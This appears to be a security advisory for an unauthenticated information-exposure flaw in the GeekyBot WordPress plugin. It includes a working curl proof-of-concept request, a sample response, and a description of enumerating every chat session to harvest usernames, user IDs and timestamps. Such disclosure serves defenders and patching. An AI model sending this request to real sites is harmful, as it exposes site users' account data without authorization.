GeekyBot < 1.2.8 – Unauthenticated Sensitive Information Exposure via Chat History | CVE 2026-15048

Description

The plugin does not perform an authorization check on one of its AJAX actions, allowing unauthenticated users to retrieve chat-history session metadata including WordPress usernames, user IDs, and timestamps.

Proof of Concept

Prerequisite: the site runs GeekyBot (<= 1.2.7) and at least one visitor has used the chat widget (which creates a chat-history session row).

Send an unauthenticated POST request (no cookies, no nonce required):

  curl -s -X POST "https://victim.example/wp-admin/admin-ajax.php" \
    --data "action=geekybot_ajax&geekybotme=chathistory&task=getNextChatHistorySessions&offset=1"

The response is HTML with one block per chat session, each exposing the participant's WordPress display name, user ID, and session timestamp, e.g.:

  <div class="leftmenuuser" onclick="makeMeActive('Subscriber User', '3', '1', this, '01 Jul/2026 10:15:30', 0, 0)">
    <p class="username">Subscriber User</p>
    <span class="leftmenuuserid">3</span>
    <p class="geekybot_datetime">2026-07-01 10:15:30</p>
  </div>

offset is a page index (10 sessions per page: offset=1 -> first 10, offset=2 -> next 10, ...), so an attacker increments it to enumerate every session on the site. No credentials required. It does not expose chat message bodies or contact details (those are gated by a separate nonce), so the exposure is limited to session metadata / display names.